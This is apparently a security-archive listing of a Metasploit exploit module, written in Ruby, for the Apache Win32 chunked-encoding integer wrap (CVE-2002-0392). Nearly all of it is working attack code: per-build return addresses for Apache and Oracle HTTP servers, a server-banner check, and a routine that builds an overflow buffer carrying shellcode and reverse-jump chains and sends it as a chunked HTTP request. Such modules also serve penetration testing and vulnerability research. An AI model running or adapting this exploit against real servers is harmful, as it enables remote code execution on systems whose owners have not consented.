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Apache Win32 Chunked Encoding

Apache Win32 Chunked Encoding
Posted Nov 26, 2009
Authored by H D Moore | Site metasploit.com

This Metasploit module exploits the chunked transfer integer wrap vulnerability in Apache version 1.2.x to 1.3.24. This particular module has been tested with all versions of the official Win32 build between 1.3.9 and 1.3.24. Additionally, it should work against most co-branded and bundled versions of Apache (Oracle 8i, 9i, IBM HTTPD, etc). You will need to use the Check() functionality to determine the exact target version prior to launching the exploit. The version of Apache bundled with Oracle 8.1.7 will not automatically restart, so if you use the wrong target value, the server will crash.

tags | exploit
systems | windows
advisories | CVE-2002-0392
MD5 | e3d3d24a04a5fa710ddd92b1a78239b0

Apache Win32 Chunked Encoding

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Win32 Chunked Encoding',
'Description' => %q{
This module exploits the chunked transfer integer wrap
vulnerability in Apache version 1.2.x to 1.3.24. This
particular module has been tested with all versions of the
official Win32 build between 1.3.9 and 1.3.24. Additionally,
it should work against most co-branded and bundled versions
of Apache (Oracle 8i, 9i, IBM HTTPD, etc).

You will need to use the Check() functionality to determine
the exact target version prior to launching the exploit. The
version of Apache bundled with Oracle 8.1.7 will not
automatically restart, so if you use the wrong target value,
the server will crash.
},
'Author' => 'hdm',
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2002-0392' ],
[ 'OSVDB', '838'],
[ 'BID', '5033' ],
[ 'URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'],

],
'Privileged' => true,
'Platform' => 'win',
'Payload' =>
{
'Space' => 987,
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
'MinNops' => 200,
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",

},
'Targets' =>
[
[ 'Windows Generic Bruteforce', {} ],

# Official Apache.org win32 builds
[ 'Apache.org Build 1.3.9->1.3.19',
{
'Ret' => 0x00401151,
'Pad' => [6,2,0,4,1,3,5,7]
}
],
[ 'Apache.org Build 1.3.22->1.3.24',
{
'Ret' => 0x00401141,
'Pad' => [2,6,0,4,1,3,5,7]
}
],
[ 'Apache.org Build 1.3.19->1.3.24',
{
'Ret' => 0x6ff6548d,
'Pad' => [2,6,0,4,1,3,5,7]
}
],
[ 'Apache.org Build 1.3.22',
{
'Ret' => 0x6ff762ac,
'Pad' => [2,6,0,4,1,3,5,7]
}
],

# Return to Win9xConHook.dll via call ebx
[ 'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
{
'Ret' => 0x1c0f13e5,
'Pad' => [2,6,0,4,1,3,5,7]
}
],

# Return to Win9xConHook.dll via call esi
[ 'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
{
'Ret' => 0x1c0f1033,
'Pad' => [2,6,0,4,1,3,5,7]
}
],

# Interesting return to PEB trick for Windows 2003 systems...
[ 'Windows 2003 English SP0',
{
'Ret' => 0x7ffc0638,
'Pad' => [2,6,5,4,1,3,0,7]
}
],

# Pop/Pop/Return on Windows 2000
[ 'Windows 2000 English',
{
'Ret' => 0x75022ac4,
'Pad' => [2,6,5,4,1,3,0,7]
}
],

# Oracle HTTPD: [ 8.1.7 ] (one shot)
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
# OpenSSL/0.9.5a mod_perl/1.24
[ 'Oracle 8.1.7 Apache 1.3.12',
{
'Ret' => 0x1d84d42c,
'Pad' => [7]
}
],

# Oracle HTTPD: [ 9.1.0 ] (multiple shots)
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
# OpenSSL/0.9.5a mod_perl/1.24
[ 'Oracle 9.1.0 Apache 1.3.12',
{
'Ret' => 0x10016061,
'Pad' => [5,6,0,4,1,3,2,7]
}
],

# Oracle HTTPD: [ 9.2.0 ] (multiple shots)
# Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
# mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
# mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
[ 'Oracle 9.2.0 Apache 1.3.22',
{
'Ret' => 0x6ff6427a,
'Pad' => [5,6,0,4,1,3,2,7]
}
],

# Generic debugging targets
[ 'Debugging Target',
{
'Ret' => 0xcafebabe,
'Pad' => [0,1,2,3,4,5,6,7]
}
]
],
'DisclosureDate' => 'Jun 19 2002',
'DefaultTarget' => 0))
end

def check
response = send_request_raw({'uri' => '/'}, 5)

if response.nil?
print_status("No response to request")
return Exploit::CheckCode::Safe
end

code = Exploit::CheckCode::Appears

case response['Server']
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
print_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
print_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
print_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
print_status("IBM backported the patch, this system is not vulnerable")
code = Exploit::CheckCode::Safe
when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
else
code = Exploit::CheckCode::Safe
end

if code == Exploit::CheckCode::Appears
print_status("Vulnerable server: #{response['Server']}")
else
print_status("Server is probably not vulnerable: #{response['Server']}")
end

return code
end

def exploit
if target_index == 0
targets.each_with_index { |targ, idx|
next if idx == 0

exploit_target(targ)
}
else
exploit_target(target)
end
end

def exploit_target(target)
target['Pad'].each { |pad|
pattern =
rand_text_alphanumeric(3936) +
payload.encoded +
make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
rand_text_alphanumeric(pad)

# Move slightly further back to allow padding changes
pattern +=
"\xeb\xf0\xde\xad" +
[target.ret].pack('V')

# Create a chain of return addresses and reverse jumps
254.times { |x|
pattern +=
"\xeb\xf6\xbe\xef" +
[target.ret].pack('V')
}

# Even out the request length based on the padding value
# This is required to reliably hit the return address offset
pattern += rand_text_alphanumeric(8 - pad)

#
# Regardless of what return we hit, execution jumps backwards to the shellcode:
# _______________ _______________ ___________
# _________ _____________ | ________ | | ______ | | ______
# v | v | v v | | v v | | v v |
# [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
#

print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")

# Build the request
send_request_raw({
'uri' => '/',
'headers' =>
{
'Transfer-Encoding' => "CHUNKED"
},
'data' => "FFFFFFF0 " + pattern,
}, 2)

# Check the handler
handler
}
end

end
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